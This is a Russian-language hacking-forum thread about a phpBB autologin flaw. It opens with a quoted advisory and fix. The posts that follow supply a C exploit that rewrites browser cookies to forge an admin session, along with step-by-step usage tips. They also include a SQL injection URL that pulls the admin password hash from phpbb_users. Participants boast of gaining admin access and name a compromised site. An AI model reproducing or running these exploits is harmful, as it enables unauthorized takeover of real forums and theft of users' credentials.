Уязвимость в PhpBB позволяет удаленному пользователю обойти некоторые ограничения безопасности и получить административные привилегии на форуме. Уязвимость связана с ошибков в сравнении "sessiondata['autologinid']" и "auto_login_key". В результате возможно получить административные привилегии на форуме. Логическая уязвимость обнаружена в сценарии includes/sessions.php в следующей строке: if( $sessiondata['autologinid'] == $auto_login_key ) Условие выполняется, если длина $sessiondata['autologinid'], представленная в куки пользователя, равна длине переменной $auto_login_key. Для исправления уязвимости ее необходимо заменить на строку: if( $sessiondata['autologinid'] === $auto_login_key ) Также сообщается об ошибке в "viewtopic.php", которая позволят раскрыть инсталляционный путь. http://www.securitylab.ru/52986.html
блин опередил =\ Добавляю expl PHP: */ #include <stdio.h> #include <stdlib.h> #include <string.h> int main(int argc, char** argv[]) { FILE *pointer; char contenido[10000], cookie[91]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bs%3A0 %3A%22%22%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%22", cookief[9]="%22%3B%7D", cookiec[106], cookie_false[92]="a%3A2%3A%7Bs%3A11%3A%22autologinid%22%3Bb %3A1%3Bs%3A6%3A%22userid%22%3Bs%3A1%3A%222%22%3B%7D", *pos; int p=0, i=0; if (argc!=2) { printf("Usage: phpbb_exploit.exe user_id\n\n"); exit(0); } pointer=fopen("cookies.txt", "r"); if (pointer) { fread(contenido, 300, 10, pointer); fclose(pointer); } else { printf("The file can't be open\n"); exit(0); } strcpy(cookiec, cookie); strncat(cookiec, argv[1], 6); strcat(cookiec, cookief); if (pos=strstr(contenido, cookiec)) { p=pos - contenido; while (i<92) { if (cookie_false[i]!=NULL) contenido[p]=cookie_false[i]; p++; i++; } } else { printf("The file cookies.txt isn't valid for execute the exploit or the user id is incorrect\n"); exit(0); } if (pointer=fopen("cookies.txt", "w")) { fputs(contenido, pointer); printf("Cookie modified: \n\n%s\n\n", contenido); printf("The cookies file has overwriten... looks like the exploit has worked"); } else printf("\n\nThe file cookies.txt has not write permissions."); return 0; }
Не от сервера зависит а от форума и браузера, эксплоит вообще под Мозиллу заточен. В файле cookies.txt в кеше мозиллы эксплоит заменяет строчки. Чтоб эксплоит сработал нужно залогиниться с выключенной опцией автологин, потом вырубить браузер, запустить сплоит причем файл cookies.txt должен лежать в одной папке с эксплоитом. Эксплоит делает равными по длине значения параметров autologin и autologiтkey поэтому собсвтенно всё и происходит Удачного результат пока ненашёл
То что от версии форума зависит это понятно. Но также важную роль играет версия PHP, нормально ли она обрабатывает "==", поскольку некоторые сравняют лишь длинну строк, а остальные работают как strcmp().
Вроде пока работает безотказно, уже побыл админом, и никаких проблем небыло. Как были с "/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=AND pm.privmsgs_type=-99 UNION SELECT 0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,username,0,0,0,0,0,0,0,0,0,user_password FROM phpbb_users WHERE user_id=2 LIMIT 1/*"
видео, кстати нормальное. Всё понятно. Вот только не на всех форумах уязвимость срабатывает, щас над этим работаю, пытаюсь понять почему.
Потомучто надо иногда коечто исправить. А ещё ИНОГДА админы поставили так сказать ОБНОВЛЕНИЕ )) патч )) У кого были проблемы с SQL injection в phpBB 2.0.6: "/privmsg.php?folder=savebox&mode=read&p=99&pm_sql_user=..." Там все просто и ясно... 2BlackPrince: А у меня вообще видео плохое есть?
KEZ, спасибо за видак, закачал посе того как ты сразу его выложил, Я согласен, сплийт не всегда срабатывает, даже можно сказать поза вчера пыхтел над одним форумом, но никак, Хотя, некоторые форумы поддались легко. Да вот чё еще, пацаны, решил попробовать эту багу про сплойтировать на IE через любезный Cookie Editor, Все твердя что работает тока по Мозилой, да нет, IE тож поддалса. Один из жертв http://druid.ru, на него я залез пользуясь Куки Эдитор чрез IE. Так шо всё возможно, еси немного по пыхтеть PS: компиленный Си сплойт, для меня ваше не сработал, приходилось лазять в ручную.
У меня тоже C сплойт не работал..)) Вообще проще вручную заменить... А где - в IE или Firefox - это пофигу... Главное куки то одинковые